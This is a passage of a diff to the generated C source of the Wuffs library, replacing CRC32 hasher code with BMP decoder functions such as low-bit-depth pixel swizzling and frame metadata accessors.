< 4u) { ++ if (self->private_impl.f_channel_num_bits[v_channel] == 0u) { ++ self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 0u)] = 255u; ++ self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 1u)] = 255u; ++ } else { ++ v_c = ((v_c32 & self->private_impl.f_channel_masks[v_channel]) >> self->private_impl.f_channel_shifts[v_channel]); ++ v_num_bits = ((uint32_t)(self->private_impl.f_channel_num_bits[v_channel])); ++ while (v_num_bits < 16u) { ++ v_c |= ((uint32_t)(v_c << v_num_bits)); ++ v_num_bits *= 2u; ++ } ++ v_c >>= (v_num_bits - 16u); ++ self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 0u)] = ((uint8_t)((v_c >> 0u))); ++ self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 1u)] = ((uint8_t)((v_c >> 8u))); ++ } ++ v_channel += 1u; ++ } ++ v_p0 += 1u; ++ } ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); ++ } ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); ++ if (v_i >= ((uint64_t)(v_dst.len))) { ++ v_n = ((uint64_t)(v_p0)); ++ } else { ++ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, (8u * v_p0))); ++ } ++ if (v_n == 0u) { ++ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); ++ goto ok; ++ } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); ++ } ++ } ++ label__outer__break:; ++ status = wuffs_base__make_status(NULL); ++ goto ok; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up__choosy_default( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x); ++ ok: ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } + +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up_arm_crc32( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x); +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) ++ return status; ++} + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up_x86_avx2( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) ++// -------- func bmp.decoder.swizzle_low_bit_depth + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up_x86_sse42( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- +-// ---------------- VTables +- +-const wuffs_base__hasher_u32__func_ptrs +-wuffs_crc32__ieee_hasher__func_ptrs_for__wuffs_base__hasher_u32 = { +- (uint32_t(*)(const void*))(&wuffs_crc32__ieee_hasher__checksum_u32), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_crc32__ieee_hasher__get_quirk), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_crc32__ieee_hasher__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- wuffs_base__slice_u8))(&wuffs_crc32__ieee_hasher__update), +- (uint32_t(*)(void*, +- wuffs_base__slice_u8))(&wuffs_crc32__ieee_hasher__update_u32), +-}; ++static wuffs_base__status ++wuffs_bmp__decoder__swizzle_low_bit_depth( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-// ---------------- Initializer Implementations ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint64_t v_i = 0; ++ uint64_t v_n = 0; ++ uint32_t v_p0 = 0; ++ uint32_t v_chunk_bits = 0; ++ uint32_t v_chunk_count = 0; ++ uint32_t v_pixels_per_chunk = 0; + +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_crc32__ieee_hasher__initialize( +- wuffs_crc32__ieee_hasher* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ goto exit; ++ } ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ while (true) { ++ if (self->private_impl.f_dst_x == self->private_impl.f_width) { ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ break; ++ } + } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); ++ } ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); ++ if (v_i >= ((uint64_t)(v_dst.len))) { ++ if (self->private_impl.f_bits_per_pixel == 1u) { ++ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 31u) / 32u); ++ v_pixels_per_chunk = 32u; ++ } else if (self->private_impl.f_bits_per_pixel == 2u) { ++ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 15u) / 16u); ++ v_pixels_per_chunk = 16u; ++ } else { ++ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 7u) / 8u); ++ v_pixels_per_chunk = 8u; ++ } ++ while ((v_chunk_count >= 64u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 256u)) { ++ iop_a_src += 256u; ++ self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 64u)))); ++ v_chunk_count -= 64u; ++ } ++ while ((v_chunk_count >= 8u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 32u)) { ++ iop_a_src += 32u; ++ self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 8u)))); ++ v_chunk_count -= 8u; ++ } ++ while (v_chunk_count > 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); ++ goto ok; ++ } ++ iop_a_src += 4u; ++ self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 1u)))); ++ v_chunk_count -= 1u; ++ } ++ continue; ++ } ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_i); ++ v_p0 = 0u; ++ if (self->private_impl.f_bits_per_pixel == 1u) { ++ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 31u) / 32u); ++ v_chunk_count = wuffs_base__u32__min(v_chunk_count, 16u); ++ while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { ++ v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4u; ++ self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((1u & (v_chunk_bits >> 31u)))); ++ self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((1u & (v_chunk_bits >> 30u)))); ++ self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((1u & (v_chunk_bits >> 29u)))); ++ self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((1u & (v_chunk_bits >> 28u)))); ++ self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((1u & (v_chunk_bits >> 27u)))); ++ self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((1u & (v_chunk_bits >> 26u)))); ++ self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((1u & (v_chunk_bits >> 25u)))); ++ self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((1u & (v_chunk_bits >> 24u)))); ++ self->private_data.f_scratch[(v_p0 + 8u)] = ((uint8_t)((1u & (v_chunk_bits >> 23u)))); ++ self->private_data.f_scratch[(v_p0 + 9u)] = ((uint8_t)((1u & (v_chunk_bits >> 22u)))); ++ self->private_data.f_scratch[(v_p0 + 10u)] = ((uint8_t)((1u & (v_chunk_bits >> 21u)))); ++ self->private_data.f_scratch[(v_p0 + 11u)] = ((uint8_t)((1u & (v_chunk_bits >> 20u)))); ++ self->private_data.f_scratch[(v_p0 + 12u)] = ((uint8_t)((1u & (v_chunk_bits >> 19u)))); ++ self->private_data.f_scratch[(v_p0 + 13u)] = ((uint8_t)((1u & (v_chunk_bits >> 18u)))); ++ self->private_data.f_scratch[(v_p0 + 14u)] = ((uint8_t)((1u & (v_chunk_bits >> 17u)))); ++ self->private_data.f_scratch[(v_p0 + 15u)] = ((uint8_t)((1u & (v_chunk_bits >> 16u)))); ++ self->private_data.f_scratch[(v_p0 + 16u)] = ((uint8_t)((1u & (v_chunk_bits >> 15u)))); ++ self->private_data.f_scratch[(v_p0 + 17u)] = ((uint8_t)((1u & (v_chunk_bits >> 14u)))); ++ self->private_data.f_scratch[(v_p0 + 18u)] = ((uint8_t)((1u & (v_chunk_bits >> 13u)))); ++ self->private_data.f_scratch[(v_p0 + 19u)] = ((uint8_t)((1u & (v_chunk_bits >> 12u)))); ++ self->private_data.f_scratch[(v_p0 + 20u)] = ((uint8_t)((1u & (v_chunk_bits >> 11u)))); ++ self->private_data.f_scratch[(v_p0 + 21u)] = ((uint8_t)((1u & (v_chunk_bits >> 10u)))); ++ self->private_data.f_scratch[(v_p0 + 22u)] = ((uint8_t)((1u & (v_chunk_bits >> 9u)))); ++ self->private_data.f_scratch[(v_p0 + 23u)] = ((uint8_t)((1u & (v_chunk_bits >> 8u)))); ++ self->private_data.f_scratch[(v_p0 + 24u)] = ((uint8_t)((1u & (v_chunk_bits >> 7u)))); ++ self->private_data.f_scratch[(v_p0 + 25u)] = ((uint8_t)((1u & (v_chunk_bits >> 6u)))); ++ self->private_data.f_scratch[(v_p0 + 26u)] = ((uint8_t)((1u & (v_chunk_bits >> 5u)))); ++ self->private_data.f_scratch[(v_p0 + 27u)] = ((uint8_t)((1u & (v_chunk_bits >> 4u)))); ++ self->private_data.f_scratch[(v_p0 + 28u)] = ((uint8_t)((1u & (v_chunk_bits >> 3u)))); ++ self->private_data.f_scratch[(v_p0 + 29u)] = ((uint8_t)((1u & (v_chunk_bits >> 2u)))); ++ self->private_data.f_scratch[(v_p0 + 30u)] = ((uint8_t)((1u & (v_chunk_bits >> 1u)))); ++ self->private_data.f_scratch[(v_p0 + 31u)] = ((uint8_t)((1u & (v_chunk_bits >> 0u)))); ++ v_p0 = ((v_p0 & 511u) + 32u); ++ v_chunk_count -= 1u; ++ } ++ } else if (self->private_impl.f_bits_per_pixel == 2u) { ++ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 15u) / 16u); ++ v_chunk_count = wuffs_base__u32__min(v_chunk_count, 32u); ++ while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { ++ v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4u; ++ self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((3u & (v_chunk_bits >> 30u)))); ++ self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((3u & (v_chunk_bits >> 28u)))); ++ self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((3u & (v_chunk_bits >> 26u)))); ++ self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((3u & (v_chunk_bits >> 24u)))); ++ self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((3u & (v_chunk_bits >> 22u)))); ++ self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((3u & (v_chunk_bits >> 20u)))); ++ self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((3u & (v_chunk_bits >> 18u)))); ++ self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((3u & (v_chunk_bits >> 16u)))); ++ self->private_data.f_scratch[(v_p0 + 8u)] = ((uint8_t)((3u & (v_chunk_bits >> 14u)))); ++ self->private_data.f_scratch[(v_p0 + 9u)] = ((uint8_t)((3u & (v_chunk_bits >> 12u)))); ++ self->private_data.f_scratch[(v_p0 + 10u)] = ((uint8_t)((3u & (v_chunk_bits >> 10u)))); ++ self->private_data.f_scratch[(v_p0 + 11u)] = ((uint8_t)((3u & (v_chunk_bits >> 8u)))); ++ self->private_data.f_scratch[(v_p0 + 12u)] = ((uint8_t)((3u & (v_chunk_bits >> 6u)))); ++ self->private_data.f_scratch[(v_p0 + 13u)] = ((uint8_t)((3u & (v_chunk_bits >> 4u)))); ++ self->private_data.f_scratch[(v_p0 + 14u)] = ((uint8_t)((3u & (v_chunk_bits >> 2u)))); ++ self->private_data.f_scratch[(v_p0 + 15u)] = ((uint8_t)((3u & (v_chunk_bits >> 0u)))); ++ v_p0 = ((v_p0 & 511u) + 16u); ++ v_chunk_count -= 1u; ++ } + } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 7u) / 8u); ++ v_chunk_count = wuffs_base__u32__min(v_chunk_count, 64u); ++ while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { ++ v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4u; ++ self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((15u & (v_chunk_bits >> 28u)))); ++ self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((15u & (v_chunk_bits >> 24u)))); ++ self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((15u & (v_chunk_bits >> 20u)))); ++ self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((15u & (v_chunk_bits >> 16u)))); ++ self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((15u & (v_chunk_bits >> 12u)))); ++ self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((15u & (v_chunk_bits >> 8u)))); ++ self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((15u & (v_chunk_bits >> 4u)))); ++ self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((15u & (v_chunk_bits >> 0u)))); ++ v_p0 = ((v_p0 & 511u) + 8u); ++ v_chunk_count -= 1u; ++ } ++ } ++ v_p0 = wuffs_base__u32__min(v_p0, wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x)); ++ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, v_p0)); ++ if (v_n == 0u) { ++ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); ++ goto ok; + } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); + } ++ status = wuffs_base__make_status(NULL); ++ goto ok; + +- self->private_impl.choosy_up = &wuffs_crc32__ieee_hasher__up__choosy_default; ++ ok: ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } + +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = +- wuffs_base__hasher_u32__vtable_name; +- self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = +- (const void*)(&wuffs_crc32__ieee_hasher__func_ptrs_for__wuffs_base__hasher_u32); +- return wuffs_base__make_status(NULL); ++ return status; + } + +-wuffs_crc32__ieee_hasher* +-wuffs_crc32__ieee_hasher__alloc(void) { +- wuffs_crc32__ieee_hasher* x = +- (wuffs_crc32__ieee_hasher*)(calloc(sizeof(wuffs_crc32__ieee_hasher), 1)); +- if (!x) { +- return NULL; ++// -------- func bmp.decoder.frame_dirty_rect ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_bmp__decoder__frame_dirty_rect( ++ const wuffs_bmp__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); + } +- if (wuffs_crc32__ieee_hasher__initialize( +- x, sizeof(wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); + } +- return x; +-} + +-size_t +-sizeof__wuffs_crc32__ieee_hasher(void) { +- return sizeof(wuffs_crc32__ieee_hasher); ++ return wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height); + } + +-// ---------------- Function Implementations +- +-// -------- func crc32.ieee_hasher.get_quirk ++// -------- func bmp.decoder.num_animation_loops + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_crc32__ieee_hasher__get_quirk( +- const wuffs_crc32__ieee_hasher* self, +- uint32_t a_key) { ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_bmp__decoder__num_animation_loops( ++ const wuffs_bmp__decoder* self) { + if (!self) { + return 0; + } +@@ -33524,709 +33654,531 @@ wuffs_crc32__ieee_hasher__get_quirk( + return 0u; + } + +-// -------- func crc32.ieee_hasher.set_quirk ++// -------- func bmp.decoder.num_decoded_frame_configs + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_crc32__ieee_hasher__set_quirk( +- wuffs_crc32__ieee_hasher* self, +- uint32_t a_key, +- uint64_t a_value) { ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_bmp__decoder__num_decoded_frame_configs( ++ const wuffs_bmp__decoder* self) { + if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ return 0; + } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } + +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ if (self->private_impl.f_call_sequence > 32u) { ++ return 1u; ++ } ++ return 0u; + } + +-// -------- func crc32.ieee_hasher.update ++// -------- func bmp.decoder.num_decoded_frames + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__update( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x) { ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_bmp__decoder__num_decoded_frames( ++ const wuffs_bmp__decoder* self) { + if (!self) { +- return wuffs_base__make_empty_struct(); ++ return 0; + } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } + +- if (self->private_impl.f_state == 0u) { +- self->private_impl.choosy_up = ( +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) +- wuffs_base__cpu_arch__have_arm_crc32() ? &wuffs_crc32__ieee_hasher__up_arm_crc32 : +-#endif +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +- wuffs_base__cpu_arch__have_x86_avx2() ? &wuffs_crc32__ieee_hasher__up_x86_avx2 : +-#endif +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_crc32__ieee_hasher__up_x86_sse42 : +-#endif +- self->private_impl.choosy_up); ++ if (self->private_impl.f_call_sequence > 64u) { ++ return 1u; + } +- wuffs_crc32__ieee_hasher__up(self, a_x); +- return wuffs_base__make_empty_struct(); ++ return 0u; + } + +-// -------- func crc32.ieee_hasher.update_u32 ++// -------- func bmp.decoder.restart_frame + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_crc32__ieee_hasher__update_u32( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_bmp__decoder__restart_frame( ++ wuffs_bmp__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { + if (!self) { +- return 0; ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return 0; ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } + +- wuffs_crc32__ieee_hasher__update(self, a_x); +- return self->private_impl.f_state; ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } ++ if (a_index != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_call_sequence = 40u; ++ self->private_impl.f_frame_config_io_position = a_io_position; ++ return wuffs_base__make_status(NULL); + } + +-// -------- func crc32.ieee_hasher.up ++// -------- func bmp.decoder.set_report_metadata + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x) { +- return (*self->private_impl.choosy_up)(self, a_x); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_bmp__decoder__set_report_metadata( ++ wuffs_bmp__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_base__make_empty_struct(); + } + ++// -------- func bmp.decoder.tell_me_more ++ + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up__choosy_default( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint32_t v_s = 0; +- wuffs_base__slice_u8 v_p = {0}; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_bmp__decoder__tell_me_more( ++ wuffs_bmp__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- v_s = (4294967295u ^ self->private_impl.f_state); +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 16; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32); +- while (v_p.ptr < i_end0_p) { +- v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | +- (((uint32_t)(v_p.ptr[1u])) << 8u) | +- (((uint32_t)(v_p.ptr[2u])) << 16u) | +- (((uint32_t)(v_p.ptr[3u])) << 24u)); +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ +- WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ +- WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ +- WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ +- WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ +- WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ +- WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ +- WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ +- WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ +- WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ +- WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ +- WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ +- WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ +- WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ +- WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ +- WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); +- v_p.ptr += 16; +- v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | +- (((uint32_t)(v_p.ptr[1u])) << 8u) | +- (((uint32_t)(v_p.ptr[2u])) << 16u) | +- (((uint32_t)(v_p.ptr[3u])) << 24u)); +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ +- 